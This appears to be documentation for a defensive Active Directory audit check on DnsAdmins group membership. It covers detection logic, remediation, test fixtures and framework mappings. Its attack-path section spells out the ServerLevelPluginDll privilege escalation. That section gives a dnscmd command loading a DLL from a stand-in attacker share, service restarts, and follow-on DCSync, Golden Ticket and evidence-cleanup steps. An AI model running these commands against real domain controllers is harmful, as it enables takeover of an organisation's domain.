ADPRIV-008: DnsAdmins Group Membership
- Platform
- Active Directory
- Category
- AD Privileged Account Security
- Severity
- High
- Zero Trust pillar
- Identity (weight 3)
- Golden fixtures
- 3
- Branch coverage
- Observed: fixtures prove the verdicts they exercise
- Provenance
- baseline
What it checks
The check resolves the DnsAdmins group in the domain root (CN=DnsAdmins,CN=Users,DC=...) and reads the member attribute, recursively expanding nested groups, foreign-security-principals from trusted domains, and group Managed Service Accounts. For each resolved principal the check records: - sAMAccountName, distinguishedName, and objectSid - objectClass (user, computer, group, foreignSecurityPrincipal, msDS-GroupManagedServiceAccount) - userAccountControl flags (ACCOUNTDISABLE, DONT_REQUIRE_PREAUTH, PASSWORD_NOTREQD, TRUSTED_FOR_DELEGATION) - pwdLastSet, lastLogonTimestamp, servicePrincipalName - adminCount and Protected Users membership The check additionally verifies, against each domain controller it can reach, whether the DNS Server service is installed (Microsoft-Windows-DNSServer event log present, dns.exe service registered) and whether the ServerLevelPluginDll registry value under HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters is set, which is the load-time hook the privilege escalation abuses. A populated DnsAdmins group on a domain with DC-integrated DNS is treated as a Tier 0 finding regardless of the named members.
Why it matters
DnsAdmins exists so that DNS zone administration can be delegated without granting Domain Admin. The group is created in CN=Users, sits outside AdminSDHolder, and is frequently populated with help-desk, network, or junior infrastructure staff under the assumption that it only controls zone records. That assumption is wrong on any domain controller that also runs the DNS Server role, which is the default deployment for Active Directory Integrated DNS. The DNS Management Protocol exposes a ServerLevelPluginDll setting that dns.exe reads on startup and dlopens as SYSTEM. A DnsAdmins member can write that value remotely with dnscmd.exe /config /serverlevelplugindll \\attacker\share\evil.dll, restart the service (also permitted to DnsAdmins), and gain code execution as SYSTEM on the DC. From SYSTEM on a DC the attacker reads the NTDS database, DCSyncs krbtgt, and forges Golden Tickets, achieving full forest compromise from what was nominally a DNS delegation. Microsoft has acknowledged the behavior since 2017 and declined to fix it on the basis that DnsAdmins is a privileged group by design, putting the entire mitigation burden on the customer to treat membership as Tier 0. The same primitive is reachable through the RPC interface (DNSRPC), so blocking dnscmd does not close it.
Attack path
1. Enumeration: from any authenticated context the attacker reads DnsAdmins membership (Get-ADGroupMember "DnsAdmins" -Recursive, net group "DnsAdmins" /domain, BloodHound). The group is readable by Authenticated Users. 2. Compromise of a DnsAdmins principal: phishing, password spray, or a stolen token belonging to any direct or nested member. Because the group is usually not protected, members rarely have smartcard enforcement or Protected Users membership. 3. Stage the payload: the attacker hosts a malicious DLL on an SMB share reachable from the DC (\\attacker\share\evil.dll). The DLL exports DnsPluginInitialize, DnsPluginCleanup, and DnsPluginQuery and runs attacker code in DllMain. 4. Plant the hook: dnscmd.exe <dc-fqdn> /config /serverlevelplugindll \\attacker\share\evil.dll. The write succeeds because DnsAdmins has the DNS Server Configuration right granted to the registry value via dnsperm. 5. Trigger the load: sc.exe \\<dc-fqdn> stop dns followed by sc.exe \\<dc-fqdn> start dns. DnsAdmins members are permitted to restart the DNS service on a DC. On startup dns.exe LoadLibrary calls the attacker DLL as SYSTEM and runs the payload. 6. Post-exploitation: the SYSTEM payload extracts NTDS.dit through volume shadow copy, runs DCSync for krbtgt, or installs a Skeleton Key. The attacker then removes ServerLevelPluginDll and restarts dns.exe to clean the evidence, leaving only the Golden Ticket or krbtgt hash as persistence. The DNSRPC variant (Kevin Robertson, Sean Metcalf, dirkjanm) reaches the same primitive without dnscmd, using a direct RPC call against the DNS service over MS-DNSP, and works from any non-administrative shell that can authenticate as a DnsAdmins member.
How Guerrilla assesses it
Guerrilla resolves DnsAdmins by name in the domain root naming context (the group does not have a well-known RID; it is created by dcpromo when DNS is installed and is identified by sAMAccountName=DnsAdmins). The member attribute is read with member;range to handle large groups, and nested groups, foreign-security-principals, and gMSAs are expanded in PowerShell. For each principal the check pulls userAccountControl, pwdLastSet, lastLogonTimestamp, servicePrincipalName, adminCount, and memberOf in a single LDAP call. The check then queries each reachable domain controller for the DNS Server role (querying the Win32_Service WMI class for "DNS" or reading the Microsoft-Windows-DNSServer\Audit event channel registration) and reads the HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll value remotely. The finding is raised when DnsAdmins is non-empty AND any DC runs DNS, with severity escalated to Critical if ServerLevelPluginDll is already populated (a strong indicator of compromise or an undocumented production plugin). All queries are LDAP and remote-registry only; the check does not require code execution on the DC.
Recommended value
Empty or restricted to dedicated DNS administration accounts only. Membership treated as Tier 0 privileged
Remediation
Enumerate DnsAdmins membership using Get-ADGroupMember -Identity 'DnsAdmins'. Remove unnecessary members. Treat DnsAdmins as a Tier 0 privileged group in your tiering model. Monitor for changes to DNS server configuration and ServerLevelPluginDll registry value
Fixture-proven verdicts
Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.
| Scenario | Expected verdict |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Framework mappings
- NIST SP 800-53
- AC-6(1), AC-6(5)
- ANSSI
- R3
- CIS AD Benchmark
- 4.1.8
- MITRE ATT&CK
- T1543.003, T1078.002